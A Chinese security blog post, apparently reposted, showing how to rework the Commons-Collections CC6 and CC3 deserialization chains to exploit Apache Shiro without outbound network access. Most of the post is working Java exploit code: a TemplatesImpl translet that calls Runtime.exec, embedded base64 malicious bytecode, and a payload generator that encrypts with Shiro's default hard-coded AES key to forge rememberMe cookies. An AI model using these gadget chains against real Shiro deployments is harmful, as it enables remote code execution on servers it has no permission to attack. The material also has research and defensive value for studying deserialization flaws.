当前位置:   article > 正文

【Web】Java反序列化之CC6&CC3改链不出网打Shiro_shiro不出网怎么打

shiro不出网怎么打

目录

前言

简单思考

EXP

CC6链改

CC3链改


前言

shiro反序列化大家都很熟,出网可以打JRMP二次反序列化,但在不出网利用这个漏洞的时候,会发现我们无法在tomcat下直接利用shiro原生的commons-collections:3.2.1

归根结底一句话,就是“如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,由于CC链用到了Transformer数组,不是Java自身的数组,导致这条链无法利用”

而CC链中,如何能避开Transformer数组的调用呢,是不用Transformer的Transform方法了吗? 那CC链还能叫CC链吗(

这里我们要关注的点并非Transformer,而是“数组”,即是,要只用一个Transformer来完成命令执行的效果,这样想来,似乎也就不再那么天马行空。

简单思考

一个执行命令的Transformer,可以是InstantiateTransformer配合TrAXFilter来啥啥啥,也可以是用InvokerTransformer来调用可以加载一个类的对象的某个sink点。

藏着掖着也没意思,大伙都猜到了,还得是我们的老朋友TemplatesImpl

我们再来回顾一下CC6,这条链的关键类TiedMapEntry ,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。 TiedMapEntry 类有个 getValue 方法,调用了map的get方法,并传入key,当这个map是LazyMap时,其get方法就是触发transform的关键点,最终调用transform(key)

当时似乎传key的时候只要随便传个"keykey"/"valuevalue"就行,因为Transformer数组的第一个对象是ConstantTransformer,不管传什么,其返回值都是设定好的。

OK,那我们退一步,为什么要有ConstantTransformer,师傅们可能会想到“将Runtime对象传递给InvokerTransformer,作为其transform方法的参数”这种答案,这是正确的,因为ConstantTransformer扮演的正是一个对象传递者的角色。

但Shiro反序列化苛刻的条件要求我们只能使用一个Transformer,很遗憾,ConstantTransformer不能为我们所用了。

不过其精神还是在的,LazyMap#get 的参数key,会被传进transform(),它也可以平替ConstantTransformer的角色——一个最简单的对象传递者。

所以我们这次要传的key就不能那么随便了,

对于CC6,它将被指定为TemplatesImpl传入给InvokerTransformer

对于CC3,它将被指定为TrAXFilter传入给InstantiateTransformer,道理是一样的,不再解释

可以看这篇文章:Shiro反序列化结合CC3链使用 - Rainy-Autumn's blog

EXP

CC6链改

  1. // Evil.java
  2. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  3. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  5. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  6. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  7. public class Evil extends AbstractTranslet {
  8. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
  9. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
  10. public Evil() throws Exception {
  11. super();
  12. System.out.println("Hello TemplatesImpl");
  13. Runtime.getRuntime().exec("calc");
  14. }
  15. }
  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import org.apache.shiro.crypto.AesCipherService;
  8. import org.apache.shiro.util.ByteSource;
  9. import java.io.*;
  10. import java.lang.reflect.Field;
  11. import java.util.Base64;
  12. import java.util.HashMap;
  13. import java.util.Map;
  14. public class GenePayLoad {
  15. public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
  16. Class clazz = obj.getClass();
  17. Field field = clazz.getDeclaredField(fieldName);
  18. field.setAccessible(true);
  19. field.set(obj, newValue);
  20. }
  21. public static byte[] CC11_PayLoad(byte[] clazzBytes) throws Exception {
  22. TemplatesImpl obj = new TemplatesImpl();
  23. setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
  24. setFieldValue(obj, "_name", "HelloTemplatesImpl");
  25. setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  26. // 先设置成人畜无害的getClass方法,避免本地调试触发payload
  27. Transformer transformer = new InvokerTransformer("getClass", null, null);
  28. Map innerMap = new HashMap();
  29. Map outerMap = LazyMap.decorate(innerMap, transformer);
  30. TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, obj);
  31. Map expMap = new HashMap();
  32. expMap.put(tiedMapEntry, "xxx");
  33. outerMap.clear();
  34. setFieldValue(transformer, "iMethodName", "newTransformer");
  35. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  36. ObjectOutputStream oos = new ObjectOutputStream(baos);
  37. oos.writeObject(expMap);
  38. oos.close();
  39. return baos.toByteArray();
  40. }
  41. public static void main(String[] args) throws Exception {
  42. byte[] codes = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
  43. AesCipherService aes = new AesCipherService();
  44. byte[] key =
  45. java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
  46. ByteSource ciphertext = aes.encrypt(CC11_PayLoad(codes), key);
  47. System.out.printf(ciphertext.toString());
  48. }
  49. }

CC3链改

  1. package com.shiroTest;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import org.apache.commons.collections.Transformer;
  5. import org.apache.commons.collections.functors.ChainedTransformer;
  6. import org.apache.commons.collections.functors.ConstantTransformer;
  7. import org.apache.commons.collections.functors.InstantiateTransformer;
  8. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  9. import org.apache.commons.collections.map.LazyMap;
  10. import javax.xml.transform.Templates;
  11. import java.io.ByteArrayOutputStream;
  12. import java.io.ObjectOutputStream;
  13. import java.lang.reflect.Field;
  14. import java.util.Base64;
  15. import java.util.HashMap;
  16. import java.util.Map;
  17. public class CC3 {
  18. public byte[] getPayload2() throws Exception{
  19. byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");
  20. TemplatesImpl templates = new TemplatesImpl();
  21. setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
  22. setFieldValue(templates,"_name","dwa");
  23. setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
  24. Transformer transformers = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
  25. HashMap<Object, Object> map = new HashMap<>();
  26. Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
  27. //第一个参数的map
  28. // get方法中调用的是map.get
  29. // 目的是调用lazyMap中的get方法 所以第一个参数是lazyMap
  30. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
  31. HashMap<Object, Object> map2 = new HashMap<>();
  32. //hashMap的readObject时会调用hash方法
  33. // 然后key.hashCode() 会调用key的hashCode方法 key的值为tiedMapEntry
  34. //调用tiedMapEntry的hashCode然后待用getValue方法 然后调用get方法
  35. map2.put(tiedMapEntry, "sss");
  36. lazymap.remove(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
  37. Class c = LazyMap.class;
  38. Field factoryField = c.getDeclaredField("factory");
  39. factoryField.setAccessible(true);
  40. factoryField.set(lazymap,transformers);
  41. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  42. ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
  43. objectOutputStream.writeObject(map2);
  44. objectOutputStream.close();
  45. return barr.toByteArray();
  46. }
  47. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
  48. Field field = obj.getClass().getDeclaredField(fieldName);
  49. field.setAccessible(true);
  50. field.set(obj,value);
  51. }
  52. }
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/694760
推荐阅读
相关标签
  

闽ICP备14008679号